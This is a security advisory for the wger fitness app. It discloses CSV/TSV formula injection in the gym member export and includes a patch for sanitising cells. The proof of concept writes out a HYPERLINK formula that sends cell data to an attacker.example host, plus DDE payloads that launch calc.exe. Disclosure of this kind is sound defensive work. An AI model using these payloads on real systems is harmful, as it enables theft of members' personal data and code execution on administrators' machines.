GitHub Advisoryadvisory · PyPI
GHSA-xq9m-hmp9-fw87 wger: CSV/TSV formula injection in gym member export (first_name/last_name)
HIGH
Official page ↗
- Ecosystem
- PyPI
- Packages
- wger
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
- Weaknesses
- CWE-1236
- Reviewed
- 2026-05-06
Affected packages
• PyPI wger: < 2.6 → fixed in 2.6
Description
Summary
The gym member TSV export endpoint in wger writes `first_name` and `last_name` profile fields verbatim to TSV cells with no formula-prefix sanitization. Any gym member (including newly self-registered users) can pre-load a spreadsheet formula into their own profile. When a gym admin later exports the member list and opens the file in Excel, LibreOffice Calc, or Google Sheets, the formula executes in the admin's local spreadsheet context — enabling data exfiltration and, on legacy Excel with DDE enabled, arbitrary local code execution.
Details
File: `wger/gym/views/export.py`, approximately line 73
```python
VULNERABLE - wger/gym/views/export.py
writer.writerow([
user.id,
gym.name,
user.username,
user.email,
user.first_name, # written verbatim - no formula prefix sanitization
user.last_name, # written verbatim
...
])
```
Python's `csv.writer` does not escape spreadsheet formula triggers (`=`, `+`, `-`, `@`, `\t`, `\r`). Any gym member can set their `first_name` to `=HYPERLINK("http://attacker.example/?p="&A1,"click")` via the profile edit endpoint. The string is stored in the database and reproduced without modification in every subsequent TSV export. When a gym admin opens the resulting file in a formula-evaluating spreadsheet application, the formula executes in their local context — outside the wger server boundary.
Affected endpoints:
• `GET /en/gym/export/users/` -> `wger.gym.views.export` (TSV download)
• Profile fields injected via profile edit endpoint (first_name/last_name)
Suggested patch:
```diff
--- a/wger/gym/views/export.py
+++ b/wger/gym/views/export.py
+FORMULA_PREFIXES = ('=', '+', '-', '@', '\t', '\r')
+
+def sanitise_cell(value):
+ """Prefix formula-triggering strings with a single-quote to neutralise."""
+ s = str(value) if value is not None else ''
+ if s and s[0] in FORMULA_PREFIXES:
+ return "'" + s
+ return s
+
writer.writerow([
user.id,
gym.name,
user.username,
user.email,
• user.first_name,
• user.last_name,
+ sanitise_cell(user.first_name),
+ sanitise_cell(user.last_name),
...
])
```
Prepending `'` to any cell value beginning with `=`, `+`, `-`, or `@` is the standard OWASP-recommended mitigation for CSV/TSV formula injection. Apply `sanitise_cell` to all exported user-supplied fields, or subclass `csv.writer` to apply the sanitization globally for future fields.
PoC
Tested on `wger/server:latest` Docker image. Test users: gym member (any registered user) and trainer1 (`manage_gym` permission).
Step 1 - Inject formula payload into profile (any gym member, including self-registered):
```
POST /en/user//overview HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Cookie: sessionid=[member_session]
first_name=%3DHYPERLINK%28%22http%3A%2F%2Fattacker.example%2Fx%3Fp%3D%22%26A1%2C%22click%22%29
```
URL-decoded value: `=HYPERLINK("http://attacker.example/x?p="&A1,"click")`
Step 2 - Gym admin exports member list:
```
GET /en/gym/export/users/2 HTTP/1.1
Host: target
Cookie: sessionid=[trainer_session]
-> 200 OK
Content-Disposition: attachment; filename=User-data-gym-2-[date].csv
[... header row ...]
2 TestGym1 alice [email protected] =HYPERLINK("http://attacker.example/x?p="&A1,"click") ...
```
Step 3 - Admin opens TSV in Excel, LibreOffice Calc, or Google Sheets:
• Formula cell renders as clickable "click" hyperlink.
• On click (or on file-open with DDE-enabled Excel): browser issues `GET http://attacker.example/x?p=[cell_A1_contents]`.
• Attacker server receives exfiltrated spreadsheet data.
Confirmed during testing: both `=cmd|calc.exe!A1` (DDE) and `=HYPERLINK(attacker.com)` payloads appear raw in the exported TSV response body.
Reproducibility: 2/2 runs after clean-baseline database reset.
Impact
Any gym member (including self-registered users) can inject a spreadsheet formula into their own `first_name` or `last_name`. When a gym administrator with `manage_gym` permission later performs the routine member export and opens the TSV in a formula-evaluating spreadsheet application, the formula executes in the admin's local spreadsheet context:
• Data exfiltration: other members' email addresses, phone numbers, and any PII displayed in adjacent cells can be posted to an attacker-controlled URL via `HYPERLINK` or `WEBSERVICE` functions.
• Local code execution (legacy Excel with DDE enabled): payloads like `=cmd|'/c calc.exe'!A1` execute arbitrary commands on the admin's workstation.
• Phishing: formulas can display admin-trusted text while silently redirecting on click.
Affected deployments: every wger instance that delegates `manage_gym` to gym admins and where those admins periodically export the member list. The payload is stored persistently and survives indefinitely until the admin performs the export.
Severity: High (CVSS 7.4). Network-reachable, stored payload triggered by legitimate admin workflow, scope unchanged (admin's local context), high confidentiality and integrity loss.
This is a standalone CWE-1236 vulnerability, independent of the `None != None` cluster of access-control findings. The fix is a small, local sanitization helper.
Related
Weakness · CWE (1)
- CWE-1236 Improper Neutralization of Formula Elements in a CSV File weakness